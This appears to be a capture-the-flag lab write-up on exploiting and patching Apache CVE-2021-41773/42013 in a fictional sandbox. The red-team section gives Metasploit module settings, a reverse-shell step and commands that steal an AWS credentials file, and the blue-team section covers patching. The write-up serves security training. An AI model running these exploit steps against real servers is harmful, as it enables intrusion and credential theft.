Apache CVE Exploitation & Defense Lab – Radar Systems R Us Threat Sandbox

Scenario

This project was completed in a simulated threat sandbox environment provided as part of a cybersecurity challenge. The scenario involved a fictional Department of Defense (DoD) contractor, **Radar Systems R Us**, whose web infrastructure was running a vulnerable version of Apache HTTP Server.

The goal was to assume both **attacker (red team)** and **defender (blue team)** roles to exploit and remediate two critical Apache vulnerabilities:

- CVE-2021-41773
- CVE-2021-42013

These vulnerabilities, caused by improper path normalization and misconfigured access controls in Apache 2.4.49 and 2.4.50, allow for **path traversal** and, in certain conditions, **remote code execution (RCE)**.

Objectives

1. **Red Team**
   - Exploit the Red Target system using one of the Apache CVEs
   - Locate and exfiltrate a sensitive AWS credentials file located in the `.aws/credentials` directory
   - Store the stolen file in the `Exfiltration-Artifacts` folder on the Security-Desk machine
2. **Blue Team**
   - Access a vulnerable clone of the Red Target system (Blue Target)
   - Patch Apache HTTP Server using provided `.deb` package files
   - Verify the patch and ensure the system is no longer vulnerable

Environment Setup

- **Attacker Machine (Security-Desk):** 172.16.200.12
- **Red Target (Vulnerable System):** 172.16.100.90
- **Blue Target (System to Patch):** 172.16.100.100
- **Tools Provided:**
  - Metasploit Framework
  - curl
  - SSH client
  - Apache `.deb` patch packages (available in `~/Desktop/Resources/`)

Red Team Phase – Exploitation and Credential Exfiltration

Step 1: Reconnaissance and Vulnerability Confirmation

- Used `curl -I http://172.16.100.90` to confirm that the target was running Apache 2.4.49.
- Apache 2.4.49 is confirmed vulnerable to both CVE-2021-41773 and CVE-2021-42013.

Step 2: Exploitation using Metasploit

- Launched Metasploit and loaded the `exploit/multi/http/apache_normalize_path_rce` module.

Set options:

```
 set RHOSTS 172.16.100.90
set RPORT 80
set TARGETURI /cgi-bin/
set ACTION READ_FILE
set FILEPATH /home/playerone/.aws/credentials
set SSL false
run
```

- Initially attempted to retrieve the `.aws/credentials` file via direct file read but encountered permission issues.

Step 3: Achieved RCE and Shell Access

- Switched to `cmd/unix/reverse` payload to gain a Meterpreter shell on the Red Target.
- Used Meterpreter `search -f credentials` to locate the actual file path: `/home/playerone/.aws/credentials`

Step 4: Exfiltration Process

- Entered a shell within Meterpreter.

Copied the file to `/tmp` to bypass permission issues:

```
cp /home/playerone/.aws/credentials /tmp/credentials
```

Exited shell and downloaded the file:

```
download /tmp/credentials /home/playerone/Desktop/Exfiltration-Artifacts/credentials
```

Verified the file contents on Security-Desk:

```
cat ~/Desktop/Exfiltration-Artifacts/credentials
```

Blue Team Phase – Patching Apache on Blue Target

Step 1: SSH into Blue Target System

```
ssh playerone@172.16.100.100
```

Step 2: Confirm Apache Version

Ran:

```
 dpkg -l | grep apache
```

Confirmed Apache version 2.4.49-3, which is vulnerable.

Step 3: Transfer Updated Packages

From Security-Desk:

```
 scp ~/Desktop/Resources/*.deb playerone@172.16.100.100:/tmp/
```

Step 4: Install Apache Patch

On Blue Target:

```
 cd /tmp
sudo dpkg -i apache2*.deb
sudo apt-get install -f
```

-
- During installation, prompted to overwrite the Apache config. Selected N to keep existing configuration.

Step 5: Restart and Verify

Restarted the Apache service:

```
 sudo systemctl restart apache2
```

Verified Apache version:

```
 /usr/sbin/apache2 -v
```

- Output confirmed Apache was updated to version 2.4.57

Outcome

- Successfully exploited CVE-2021-42013 to gain remote shell access and exfiltrate credentials from a vulnerable Apache server.
- Patched and remediated the vulnerability on a cloned system using Debian `.deb` packages.
- Demonstrated the complete attack and defense lifecycle, including reconnaissance, exploitation, post-exploitation, patching, and validation.

CVEs Addressed

- CVE-2021-41773
- CVE-2021-42013

Skills Demonstrated

- Vulnerability exploitation and remote code execution
- Metasploit Framework usage for offensive operations
- Linux privilege management and shell access
- Secure patching and system hardening
- File exfiltration and operational documentation